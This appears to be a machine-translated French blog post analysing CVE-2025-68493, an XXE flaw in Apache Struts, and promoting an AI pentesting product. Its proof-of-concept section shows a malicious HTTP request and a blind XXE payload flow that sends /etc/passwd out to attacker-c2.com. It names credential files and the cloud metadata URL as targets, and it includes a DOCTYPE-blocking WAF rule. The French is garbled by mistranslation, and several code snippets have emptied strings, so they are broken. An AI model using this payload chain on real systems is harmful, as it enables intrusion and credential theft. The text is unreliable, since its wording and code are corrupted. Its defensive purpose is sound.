En-tête négligent

Analyse CVE-2025-68493 : La faille XWork démantèle la sécurité de l'infrastructure d'IA

Dans le paysage en évolution rapide de l'IA générative, les ingénieurs en sécurité ont souvent une vision étroite des menaces spécifiques aux modèles - injection de promesses, piratage de prison ou empoisonnement de données. Cependant, la sortie de CVE-2025-68493 le 11 janvier 2026, nous rappelle brutalement que l'infrastructure existante qui enveloppe vos modèles de pointe est souvent le maillon le plus faible.

Cet article fournit une autopsie technique de la vulnérabilité critique trouvée dans Apache Struts xwork-core de l'entreprise. Nous analyserons la cause première au niveau du code, explorerons son potentiel dévastateur sur les pipelines MLOps et discuterons des stratégies de remédiation allant de l'application immédiate de correctifs à la défense automatisée pilotée par l'IA.

Analyse CVE-2025-68493 : La faille XWork démantèle la sécurité de l'infrastructure d'IA

L'anatomie technique de CVE-2025-68493

Apache Struts a une histoire notoire avec l'exécution de code à distance (RCE) via l'injection d'OGNL (cf. Equifax), CVE-2025-68493 attaque un vecteur différent : la logique d'analyse XML.

Le champ de la vulnérabilité

  • Composant : xwork-core (le modèle de commande qui sous-tend Struts 2).
  • Type de vulnérabilité : Injection d'entité externe XML (XXE) due à [CWE-112] Validation XML manquante.
  • Versions concernées : Apache Struts 2.0.0 - 6.1.0.
  • Score CVSS v3.1 : 9,8 (critique).

Analyse des causes profondes

La vulnérabilité provient de la XWorkConverter et sa gestion des descripteurs de configuration spécifiques. Lorsque le cadre traite une requête HTTP avec Content-Type : application/xmlL'analyseur XML sous-jacent (souvent Xerces, enveloppé par Struts) est instancié pour désérialiser la charge utile.

Dans les versions concernées, la fonction DomHelper ne désactive pas explicitement par défaut le traitement des DTD (Document Type Definition) et la résolution des entités externes.

Une mise en œuvre sécurisée nécessite l'activation de drapeaux de fonctions spécifiques sur la page DocumentBuilderFactory. L'absence de ces drapeaux dans les CVE-2025-68493 crée l'ouverture :

Java

// VULNERABLE CODE PATTERN (Conceptuel) DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance() ; // Manquant : dbf.setFeature("", true) ; // Manquant : dbf.setFeature("", false) ; DocumentBuilder db = dbf.newDocumentBuilder() ; Document doc = db.parse(inputStream) ; // Point de déclenchement

Sans ces garde-fous, un attaquant peut définir des entités malveillantes dans l'en-tête DOCTYPE que le serveur est obligé de résoudre.

Pourquoi cela est important pour l'infrastructure de l'IA et des MLOps

On peut se poser la question : "Nous utilisons Python/PyTorch pour l'inférence. En quoi une vulnérabilité du framework Java est-elle importante ?"

La réalité de l'IA d'entreprise est l'hybridité. Alors que le modèle s'exécute dans un environnement Python conteneurisé, l'environnement de l'IA d'entreprise est hybride. Couche d'orchestration, Passerelle APIet Lacs de données hérités alimentant ces modèles sont souvent construits sur des piles Java matures telles que Struts ou Spring.

CVE-2025-68493 expose AI Systems à trois risques spécifiques :

1. Poids du modèle et exfiltration des données (LFI)

Une attaque XXE permet l'inclusion de fichiers locaux. Si votre application Struts a un accès en lecture au système de fichiers (ce qui est souvent le cas dans les conteneurs d'utilisateurs non root), un attaquant peut lire les fichiers de configuration.

  • Cible : /root/.huggingface/token ou aws_credentials.
  • Impact : Les attaquants volent les informations d'identification nécessaires pour extraire vos points de contrôle propriétaires ou vos ensembles de données privées des buckets S3.

2. SSRF contre les services de métadonnées (Cloud Jacking)

Il s'agit du vecteur le plus critique pour l'IA native dans le nuage. En forçant l'analyseur XML à effectuer des requêtes HTTP, les attaquants peuvent atteindre le service de métadonnées d'instance (IMDS).

  • Cible de la charge utile : http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Impact : Voler le rôle IAM attaché à l'instance EC2. Dans les clusters d'IA, ces rôles disposent souvent d'autorisations étendues pour provisionner des instances GPU coûteuses (instances P4/P5), ce qui conduit à un détournement des ressources à des fins de crypto-minage ou d'entraînement non autorisé.

3. Déni de service (attaque au milliard de rires)

Les serveurs d'inférence d'IA sont gourmands en ressources. Une attaque par expansion récursive d'entités ("Billion Laughs") envoyée via CVE-2025-68493 peut épuiser la mémoire du serveur, entraînant le plantage du nœud d'orchestration et perturbant la disponibilité du service d'IA.

Simulation de vecteur d'attaque : Preuve de concept

Vous trouverez ci-dessous une reconstitution technique de la manière dont un attaquant exploite cette vulnérabilité.

Scénario : Une ancienne action Struts est utilisée pour analyser les profils des utilisateurs avant de transmettre les données à un moteur de recommandation.

En-tête de la demande :

HTTP

POST /struts2-showcase/person/create.action HTTP/1.1 Host : vulnerable-ai-gateway.corp Content-Type : application/xml

Charge utile malveillante (XXE aveugle avec exfiltration hors bande) :

Dans de nombreuses configurations modernes, la réponse du serveur est assainie, ce qui signifie que vous ne verrez pas le contenu du fichier directement dans la réponse HTTP (Blind XXE). Les attaquants utilisent des entités de paramètres pour envoyer des données à un serveur contrôlé.

XML

<!DOCTYPE root [ <!ENTITY % remote SYSTEM ""> %remote ; ]> John Doe &exfiltrate;

Contenu de eval.dtd hébergé sur le serveur de l'attaquant :

XML

<!ENTITY % eval ""> %eval ;

Flux d'exécution :

  1. L'analyseur de Struts lit le fichier XML principal.
  2. Il récupère la DTD externe à partir de attacker-c2.com.
  3. Il analyse la DTD externe, qui lui demande de lire /etc/passwd.
  4. Il envoie le contenu de /etc/passwd vers le serveur de l'attaquant en tant que paramètre d'URL.
Analyse CVE-2025-68493 : La faille XWork démantèle la sécurité de l'infrastructure d'IA

Stratégie de détection et de remédiation

Atténuation immédiate (la phase "arrêter l'hémorragie")

Si vous ne pouvez pas déployer le correctif immédiatement, vous devez appliquer des règles WAF (Web Application Firewall) strictes à votre contrôleur d'entrée.

Exemple de règle ModSecurity :

Apache

SecRule REQUEST_BODY "(?i)<!DOCTYPE" \"id:1001,phase:2,t:none,log,deny,status:403,msg:'Potential XML Injection Detected (CVE-2025-68493)'"

Remarque : il s'agit d'un instrument contondant. Il bloque toutes les DTD, ce qui peut briser les points d'extrémité SOAP légitimes. Testez d'abord en phase d'essai.

La solution officielle

Passer à Apache Struts 6.1.1+.. L'équipe d'Apache a mis en place un correctif xwork-core pour ignorer les entités externes par défaut. Vérifiez la mise à jour en contrôlant l'élément struts2-core La version du JAR dans votre WEB-INF/lib ou l'arbre de dépendance Maven.

DépendanceVersion vulnérableVersion corrigée
struts2-core< 6.1.16.1.1+
xwork-core< 6.1.16.1.1+

La sécurité à l'échelle : Le rôle de l'IA dans la validation des vulnérabilités

Dans les architectures microservices complexes, le simple fait d'exécuter un scanner de vulnérabilités (comme Nessus ou OpenVAS) génère un bruit considérable. Les scanners font correspondre les numéros de version mais ne parviennent souvent pas à valider si la vulnérabilité spécifique de l'application a été détectée. configuration est exploitable. Cela crée une "fatigue de l'alerte" pour les équipes de sécurité.

C'est ici que le paradigme passe de Balayage statique à Test de pénétration agentique.

Exploitation automatisée avec Penligent

La sécurité moderne nécessite des outils qui "pensent" comme un attaquant. Penligent (penligent.ai) représente la nouvelle génération de plateformes de tests de pénétration automatisés. Contrairement aux scanners traditionnels qui utilisent la correspondance des expressions rationnelles, Penligent utilise des agents pilotés par LLM pour comprendre le contexte de l'application.

Comment Penligent gère CVE-2025-68493 :

  1. Découverte contextuelle : La négligence identifie le Content-Type : application/xml même s'ils ne sont pas documentés ou s'ils sont cachés derrière des routes d'API complexes.
  2. Construction intelligente de la charge utile : Au lieu de pulvériser des charges utiles génériques, l'agent Penligent analyse le comportement de l'application. S'il détecte une signature Struts, il construit un PoC spécifique pour CVE-2025-68493.
  3. Validation sûre : L'agent tente de déclencher une interaction bénigne (par exemple, une consultation DNS via XXE) plutôt que de lire des fichiers sensibles, ce qui prouve l'exploitabilité sans risquer de porter atteinte à la confidentialité des données.
  4. Élimination des faux positifs : En validant le chemin d'exécution, Penligent filtre le bruit. Si la bibliothèque est présente mais que l'analyseur XML est configuré de manière sécurisée, Penligent la marque comme "sûre", ce qui évite à votre équipe des heures d'investigation.

Pour les équipes qui gèrent des centaines de services, la possibilité de dire "Penligent a vérifié 300 services, et seuls 2 sont réellement exploitables. est la différence entre un week-end chaotique et un cycle de correctifs géré.

Conclusion

CVE-2025-68493 n'est pas simplement un autre point dans un rapport de vulnérabilité ; il s'agit d'une faiblesse structurelle dans les fondations de nombreuses plateformes d'IA d'entreprise. La capacité de passer d'un composant Java hérité à des services de métadonnées dans le nuage en fait une menace de niveau 1.

Les ingénieurs en sécurité doivent aller au-delà de la méthodologie "patch and pray". En comprenant les mécanismes d'analyse XML de bas niveau et en exploitant des outils offensifs alimentés par l'IA comme Penligent, nous pouvons nous assurer que notre infrastructure reste aussi résiliente que les modèles que nous construisons.

Prochaine étape pour vous :

Auditez votre SBOM (Software Bill of Materials) aujourd'hui pour les versions de struts2-core inférieures à 6.1.1. Si c'est le cas, isolez immédiatement le conteneur et mettez en place votre protocole de réponse à l'incident.

Références :

  1. Bulletins de sécurité d'Apache Struts (source officielle)
  2. NVD - Analyse détaillée de CVE-2025-68493
  3. Aide-mémoire de l'OWASP : Prévention des entités externes XML
Partager l'article :
Articles connexes
fr_FRFrench